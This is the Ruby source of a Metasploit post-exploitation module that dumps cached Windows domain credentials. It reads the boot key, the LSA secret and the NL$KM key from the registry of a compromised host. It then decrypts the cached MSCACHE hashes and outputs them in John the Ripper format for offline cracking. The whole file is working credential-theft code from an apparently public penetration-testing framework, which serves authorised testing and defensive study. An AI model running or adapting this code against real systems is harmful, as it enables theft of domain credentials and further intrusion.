Path: blob/master/modules/post/windows/gather/cachedump.rb
19850 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'English'6class MetasploitModule < Msf::Post7include Msf::Post::Windows::Priv8include Msf::Post::Windows::Registry910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Gather Credential Cache Dump',15'Description' => %q{16This module uses the registry to extract the stored domain hashes that have been17cached as a result of a GPO setting. The default setting on Windows is to store18the last ten successful logins.19},20'License' => MSF_LICENSE,21'Author' => [22'Maurizio Agazzini <inode[at]mediaservice.net>',23'mubix'24],25'Platform' => ['win'],26'SessionTypes' => ['meterpreter'],27'References' => [28['URL', 'https://web.archive.org/web/20220407023137/https://lab.mediaservice.net/code/cachedump.rb']29],30'Notes' => {31'Stability' => [CRASH_SAFE],32'Reliability' => [],33'SideEffects' => []34},35'Compat' => {36'Meterpreter' => {37'Commands' => %w[38stdapi_railgun_api39stdapi_registry_open_key40]41}42}43)44)45end4647def check_gpo48gposetting = registry_getvaldata('HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 'CachedLogonsCount')49print_status("Cached Credentials Setting: #{gposetting} - (Max is 50 and 0 disables, and 10 is default)")50end5152def capture_nlkm(lsakey)53nlkm = registry_getvaldata('HKLM\\SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal', '')5455vprint_status("Encrypted NL$KM: #{nlkm.unpack('H*')[0]}")5657if lsa_vista_style?58nlkm_dec = decrypt_lsa_data(nlkm, lsakey)59elsif sysinfo['Architecture'] == ARCH_X6460nlkm_dec = decrypt_secret_data(nlkm[0x10..], lsakey)61else # 32 bits62nlkm_dec = decrypt_secret_data(nlkm[0xC..], lsakey)63end6465return nlkm_dec66end6768def parse_decrypted_cache(dec_data, cache_entry)69i = 070hash = dec_data[i, 0x10]71i += 727273username = dec_data[i, cache_entry.user_name_length].split("\x00\x00").first.gsub("\x00", '')74i += cache_entry.user_name_length75i += 2 * ((cache_entry.user_name_length / 2) % 2)7677vprint_good "Username\t\t: #{username}"78vprint_good "Hash\t\t: #{hash.unpack('H*')[0]}"7980if lsa_vista_style?81if (cache_entry.iteration_count > 10240)82iteration_count = cache_entry.iteration_count & 0xfffffc0083else84iteration_count = cache_entry.iteration_count * 102485end86vprint_good "Iteration count\t: #{cache_entry.iteration_count} -> real #{iteration_count}"87end8889last = Time.at(cache_entry.last_access)90vprint_good "Last login\t\t: #{last.strftime('%F %T')} "9192dec_data[i, cache_entry.domain_name_length + 1]93i += cache_entry.domain_name_length9495if (cache_entry.dns_domain_name_length != 0)96dns_domain_name = dec_data[i, cache_entry.dns_domain_name_length + 1].split("\x00\x00").first.gsub("\x00", '')97i += cache_entry.dns_domain_name_length98i += 2 * ((cache_entry.dns_domain_name_length / 2) % 2)99vprint_good "DNS Domain Name\t: #{dns_domain_name}"100end101102if (cache_entry.upn_length != 0)103upn = dec_data[i, cache_entry.upn_length + 1].split("\x00\x00").first.gsub("\x00", '')104i += cache_entry.upn_length105i += 2 * ((cache_entry.upn_length / 2) % 2)106vprint_good "UPN\t\t\t: #{upn}"107end108109if (cache_entry.effective_name_length != 0)110effective_name = dec_data[i, cache_entry.effective_name_length + 1].split("\x00\x00").first.gsub("\x00", '')111i += cache_entry.effective_name_length112i += 2 * ((cache_entry.effective_name_length / 2) % 2)113vprint_good "Effective Name\t: #{effective_name}"114end115116if (cache_entry.full_name_length != 0)117full_name = dec_data[i, cache_entry.full_name_length + 1].split("\x00\x00").first.gsub("\x00", '')118i += cache_entry.full_name_length119i += 2 * ((cache_entry.full_name_length / 2) % 2)120vprint_good "Full Name\t\t: #{full_name}"121end122123if (cache_entry.logon_script_length != 0)124logon_script = dec_data[i, cache_entry.logon_script_length + 1].split("\x00\x00").first.gsub("\x00", '')125i += cache_entry.logon_script_length126i += 2 * ((cache_entry.logon_script_length / 2) % 2)127vprint_good "Logon Script\t\t: #{logon_script}"128end129130if (cache_entry.profile_path_length != 0)131profile_path = dec_data[i, cache_entry.profile_path_length + 1].split("\x00\x00").first.gsub("\x00", '')132i += cache_entry.profile_path_length133i += 2 * ((cache_entry.profile_path_length / 2) % 2)134vprint_good "Profile Path\t\t: #{profile_path}"135end136137if (cache_entry.home_directory_length != 0)138home_directory = dec_data[i, cache_entry.home_directory_length + 1].split("\x00\x00").first.gsub("\x00", '')139i += cache_entry.home_directory_length140i += 2 * ((cache_entry.home_directory_length / 2) % 2)141vprint_good "Home Directory\t\t: #{home_directory}"142end143144if (cache_entry.home_directory_drive_length != 0)145home_directory_drive = dec_data[i, cache_entry.home_directory_drive_length + 1].split("\x00\x00").first.gsub("\x00", '')146i += cache_entry.home_directory_drive_length147i += 2 * ((cache_entry.home_directory_drive_length / 2) % 2)148vprint_good "Home Directory Drive\t: #{home_directory_drive}"149end150151vprint_good "User ID\t\t: #{cache_entry.user_id}"152vprint_good "Primary Group ID\t: #{cache_entry.primary_group_id}"153154relative_id = []155while (cache_entry.group_count > 0)156# TODO: parse attributes157relative_id << dec_data[i, 4].unpack('V')[0]158i += 4159dec_data[i, 4].unpack('V')[0]160i += 4161cache_entry.group_count -= 1162end163164vprint_good("Additional groups\t: #{relative_id.join ' '}")165166if cache_entry.logon_domain_name_length != 0167logon_domain_name = dec_data[i, cache_entry.logon_domain_name_length + 1].split("\x00\x00").first.gsub("\x00", '')168cache_entry.logon_domain_name_length169cache_entry.logon_domain_name_length170vprint_good "Logon domain name\t: #{logon_domain_name}"171end172173@credentials <<174[175username,176hash.unpack('H*')[0],177iteration_count,178logon_domain_name,179dns_domain_name,180last.strftime('%F %T'),181upn,182effective_name,183full_name,184logon_script,185profile_path,186home_directory,187home_directory_drive,188cache_entry.primary_group_id,189relative_id.join(' '),190]191192vprint_good('----------------------------------------------------------------------')193194if lsa_vista_style?195return "#{username.downcase}:$DCC2$#{iteration_count}##{username.downcase}##{hash.unpack('H*')[0]}:#{dns_domain_name}:#{logon_domain_name}\n"196end197198"#{username.downcase}:M$#{username.downcase}##{hash.unpack('H*')[0]}:#{dns_domain_name}:#{logon_domain_name}\n"199end200201def parse_cache_entry(cache_data)202j = Struct.new(203:user_name_length,204:domain_name_length,205:effective_name_length,206:full_name_length,207:logon_script_length,208:profile_path_length,209:home_directory_length,210:home_directory_drive_length,211:user_id,212:primary_group_id,213:group_count,214:logon_domain_name_length,215:logon_domain_id_length,216:last_access,217:last_access_time,218:revision,219:sid_count,220:valid,221:iteration_count,222:sif_length,223:logon_package,224:dns_domain_name_length,225:upn_length,226:ch,227:enc_data228)229230s = j.new231232s.user_name_length = cache_data[0, 2].unpack('v')[0]233s.domain_name_length = cache_data[2, 2].unpack('v')[0]234s.effective_name_length = cache_data[4, 2].unpack('v')[0]235s.full_name_length = cache_data[6, 2].unpack('v')[0]236s.logon_script_length = cache_data[8, 2].unpack('v')[0]237s.profile_path_length = cache_data[10, 2].unpack('v')[0]238s.home_directory_length = cache_data[12, 2].unpack('v')[0]239s.home_directory_drive_length = cache_data[14, 2].unpack('v')[0]240241s.user_id = cache_data[16, 4].unpack('V')[0]242s.primary_group_id = cache_data[20, 4].unpack('V')[0]243s.group_count = cache_data[24, 4].unpack('V')[0]244s.logon_domain_name_length = cache_data[28, 2].unpack('v')[0]245s.logon_domain_id_length = cache_data[30, 2].unpack('v')[0]246247# Removed ("Q") unpack and replaced as such248thi = cache_data[32, 4].unpack('V')[0]249tlo = cache_data[36, 4].unpack('V')[0]250q = (tlo.to_s(16) + thi.to_s(16)).to_i(16)251s.last_access = ((q / 10000000) - 11644473600)252253s.revision = cache_data[40, 4].unpack('V')[0]254s.sid_count = cache_data[44, 4].unpack('V')[0]255s.valid = cache_data[48, 2].unpack('v')[0]256s.iteration_count = cache_data[50, 2].unpack('v')[0]257s.sif_length = cache_data[52, 4].unpack('V')[0]258259s.logon_package = cache_data[56, 4].unpack('V')[0]260s.dns_domain_name_length = cache_data[60, 2].unpack('v')[0]261s.upn_length = cache_data[62, 2].unpack('v')[0]262263s.ch = cache_data[64, 16]264s.enc_data = cache_data[96..]265266s267end268269def decrypt_hash(edata, nlkm, ch)270rc4key = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), nlkm, ch)271rc4 = OpenSSL::Cipher.new('rc4')272rc4.key = rc4key273decrypted = rc4.update(edata)274decrypted << rc4.final275276decrypted277end278279def decrypt_hash_vista(edata, nlkm, ch)280aes = OpenSSL::Cipher.new('aes-128-cbc')281aes.decrypt282aes.key = nlkm[16...32]283aes.padding = 0284aes.iv = ch285286decrypted = ''287(0...edata.length).step(16) do |i|288decrypted << aes.update(edata[i, 16])289end290291decrypted292end293294def run295hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']296print_status("Running module against #{hostname} (#{session.session_host})")297298@credentials = Rex::Text::Table.new(299'Header' => 'MSCACHE Credentials',300'Indent' => 1,301'Columns' =>302[303'Username',304'Hash',305'Hash iteration count',306'Logon Domain Name',307'DNS Domain Name',308'Last Login',309'UPN',310'Effective Name',311'Full Name',312'Logon Script',313'Profile Path',314'Home Directory',315'HomeDir Drive',316'Primary Group',317'Additional Groups'318]319)320321client.railgun.netapi32322join_status = client.railgun.netapi32.NetGetJoinInformation(nil, 4, 4)['BufferType']323324if sysinfo['Architecture'] == ARCH_X64325join_status &= 0x00000000ffffffff326end327328if join_status != 3329fail_with(Failure::NoTarget, 'System is not joined to a domain, exiting..')330end331332# Check policy setting for cached creds333check_gpo334335print_status('Obtaining boot key...')336bootkey = capture_boot_key337338fail_with(Failure::Unknown, 'Could not retrieve boot key. Are you SYSTEM?') if bootkey.blank?339340vprint_status("Boot key: #{bootkey.unpack1('H*')}")341342print_status('Obtaining Lsa key...')343lsa_key = capture_lsa_key(bootkey)344345fail_with(Failure::Unknown, 'Could not retrieve LSA key. Are you SYSTEM?') if lsa_key.blank?346347vprint_status("Lsa Key: #{lsa_key.unpack('H*')[0]}")348349print_status('Obtaining NL$KM...')350nlkm = capture_nlkm(lsa_key)351vprint_status("NL$KM: #{nlkm.unpack('H*')[0]}")352353print_status('Dumping cached credentials...')354ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SECURITY\\Cache', KEY_READ)355356john = ''357358ok.enum_value.each do |usr|359next unless usr.name.match(/^NL\$\d+$/)360361begin362nl = ok.query_value(usr.name.to_s).data363rescue StandardError364next365end366367cache = parse_cache_entry(nl)368369next unless (cache.user_name_length > 0)370371vprint_status("Reg entry: #{nl.unpack('H*')[0]}")372vprint_status("Encrypted data: #{cache.enc_data.unpack('H*')[0]}")373vprint_status("Ch: #{cache.ch.unpack('H*')[0]}")374375if lsa_vista_style?376dec_data = decrypt_hash_vista(cache.enc_data, nlkm, cache.ch)377else378dec_data = decrypt_hash(cache.enc_data, nlkm, cache.ch)379end380381vprint_status("Decrypted data: #{dec_data.unpack('H*')[0]}")382383john << parse_decrypted_cache(dec_data, cache)384end385386if @credentials.rows.empty?387print_status('Found no cached credentials')388return389end390391if lsa_vista_style?392print_status('Hash are in MSCACHE_VISTA format. (mscash2)')393p = store_loot('mscache2.creds', 'text/csv', session, @credentials.to_csv, 'mscache2_credentials.txt', 'MSCACHE v2 Credentials')394print_good("MSCACHE v2 saved in: #{p}")395john = "# mscash2\n" + john396else397print_status('Hash are in MSCACHE format. (mscash)')398p = store_loot('mscache.creds', 'text/csv', session, @credentials.to_csv, 'mscache_credentials.txt', 'MSCACHE v1 Credentials')399print_good("MSCACHE v1 saved in: #{p}")400john = "# mscash\n" + john401end402403print_status('John the Ripper format:')404print_line(john)405rescue ::Interrupt406raise $ERROR_INFO407rescue ::Rex::Post::Meterpreter::RequestError => e408print_error("Meterpreter Exception: #{e.class} #{e}")409print_error('This script requires the use of a SYSTEM user context (hint: migrate into service process)')410end411end412413414